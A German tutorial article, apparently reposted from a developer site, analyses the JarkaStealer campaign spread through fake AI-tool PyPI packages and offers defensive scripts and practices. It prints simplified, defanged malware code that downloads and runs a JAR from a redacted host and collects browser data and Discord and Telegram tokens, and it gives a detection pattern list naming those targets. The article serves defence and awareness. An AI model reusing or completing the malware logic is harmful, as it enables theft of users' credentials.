Heim >Backend-Entwicklung >Python-Tutorial >PyPI-Angriffe auf KI-Enthusiasten erkennen und abwehren: Ein tiefer Einblick in JarkaStealer-Kampagnen
In den letzten Monaten kam es zu einem Anstieg raffinierter Supply-Chain-Angriffe auf Python-Entwickler über PyPI-Pakete, die sich als KI-Entwicklungstools ausgeben. Lassen Sie uns diese Angriffe analysieren und lernen, wie wir unsere Entwicklungsumgebungen schützen können.
Es wurden zwei bemerkenswerte Pakete entdeckt, die die JarkaStealer-Malware verbreiten:
Beide Pakete wurden tausende Mal heruntergeladen, bevor sie schließlich aus PyPI entfernt wurden.
So sah eine typische bösartige Paketstruktur aus:
# setup.py from setuptools import setup setup( name="gptplus", version="1.0.0", description="Enhanced GPT-4 Turbo API Integration", packages=["gptplus"], install_requires=[ "requests>=2.25.1", "cryptography>=3.4.7" ] ) # Inside main package file import base64 import os import subprocess def initialize(): encoded_payload = "BASE64_ENCODED_MALICIOUS_PAYLOAD" decoded = base64.b64decode(encoded_payload) # Malicious execution follows
Der Angriff folgte dieser Reihenfolge:
# Simplified representation of the malware deployment process def deploy_malware(): # Check if Java is installed if not is_java_installed(): download_jre() # Download malicious JAR jar_url = "https://github.com/[REDACTED]/JavaUpdater.jar" download_file(jar_url, "JavaUpdater.jar") # Execute with system privileges subprocess.run(["java", "-jar", "JavaUpdater.jar"])
Datenerfassungsmethoden von JarkaStealer:
# Pseudocode representing JarkaStealer's operation class JarkaStealer: def collect_browser_data(self): paths = { 'chrome': os.path.join(os.getenv('LOCALAPPDATA'), 'Google/Chrome/User Data/Default'), 'firefox': os.path.join(os.getenv('APPDATA'), 'Mozilla/Firefox/Profiles') } # Extract cookies, history, saved passwords def collect_system_info(self): info = { 'hostname': os.getenv('COMPUTERNAME'), 'username': os.getenv('USERNAME'), 'ip': requests.get('https://api.ipify.org').text } return info def steal_tokens(self): token_paths = { 'discord': os.path.join(os.getenv('APPDATA'), 'discord'), 'telegram': os.path.join(os.getenv('APPDATA'), 'Telegram Desktop') } # Extract and exfiltrate tokens
Hier ist ein Tool, mit dem Sie Pakete vor der Installation überprüfen können:
import requests import json from datetime import datetime import subprocess def analyze_package(package_name): """ Comprehensive package analysis tool """ def check_pypi_info(): url = f"https://pypi.org/pypi/{package_name}/json" response = requests.get(url) if response.status_code == 200: data = response.json() return { "author": data["info"]["author"], "maintainer": data["info"]["maintainer"], "home_page": data["info"]["home_page"], "project_urls": data["info"]["project_urls"], "release_date": datetime.fromisoformat( data["releases"][data["info"]["version"]][0]["upload_time_iso_8601"] ) } return None def scan_dependencies(): result = subprocess.run( ["pip-audit", package_name], capture_output=True, text=True ) return result.stdout info = check_pypi_info() if info: print(f"Package Analysis for {package_name}:") print(f"Author: {info['author']}") print(f"Maintainer: {info['maintainer']}") print(f"Homepage: {info['home_page']}") print(f"Release Date: {info['release_date']}") # Red flags check if (datetime.now() - info['release_date']).days < 30: print("⚠️ Warning: Recently published package") if not info['home_page']: print("⚠️ Warning: No homepage provided") # Scan dependencies print("\nDependency Scan Results:") print(scan_dependencies()) else: print(f"Package {package_name} not found on PyPI")
Implementieren Sie dieses Überwachungsskript, um verdächtige Aktivitäten zu erkennen:
import psutil import os import logging from watchdog.observers import Observer from watchdog.events import FileSystemEventHandler class SuspiciousActivityMonitor(FileSystemEventHandler): def __init__(self): self.logger = logging.getLogger('SecurityMonitor') self.suspicious_patterns = [ 'JavaUpdater', '.jar', 'base64', 'telegram', 'discord' ] def on_created(self, event): if not event.is_directory: self._check_file(event.src_path) def _check_file(self, filepath): filename = os.path.basename(filepath) # Check for suspicious patterns for pattern in self.suspicious_patterns: if pattern.lower() in filename.lower(): self.logger.warning( f"Suspicious file created: {filepath}" ) # Check for base64 encoded content try: with open(filepath, 'r') as f: content = f.read() if 'base64' in content: self.logger.warning( f"Possible base64 encoded payload in: {filepath}" ) except: pass def start_monitoring(): logging.basicConfig(level=logging.INFO) event_handler = SuspiciousActivityMonitor() observer = Observer() observer.schedule(event_handler, path=os.getcwd(), recursive=True) observer.start() return observer
# Create isolated environments for each project python -m venv .venv source .venv/bin/activate # Unix .venv\Scripts\activate # Windows # Lock dependencies pip freeze > requirements.txt
# Example GitHub Actions workflow name: Security Scan on: [push, pull_request] jobs: security: runs-on: ubuntu-latest steps: - uses: actions/checkout@v2 - name: Run security scan run: | pip install safety bandit safety check bandit -r .
Der Anstieg von PyPI-Angriffen mit KI-Thema stellt eine anspruchsvolle Entwicklung der Bedrohungen für die Lieferkette dar. Durch die Implementierung robuster Verifizierungsprozesse und die Aufrechterhaltung wachsamer Überwachungssysteme können Entwicklungsteams ihre Gefährdung durch diese Risiken erheblich reduzieren.
Denken Sie daran: Überprüfen Sie bei der Integration von KI-Paketen immer die Quelle, scannen Sie den Code und sorgen Sie für eine umfassende Sicherheitsüberwachung. Die Kosten der Prävention sind immer niedriger als die Kosten der Wiederherstellung nach einer Sicherheitsverletzung.
Hinweis: Dieser Artikel basiert auf echten Sicherheitsvorfällen. Einige Codebeispiele wurden geändert, um Missbrauch zu verhindern.
Das obige ist der detaillierte Inhalt vonPyPI-Angriffe auf KI-Enthusiasten erkennen und abwehren: Ein tiefer Einblick in JarkaStealer-Kampagnen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!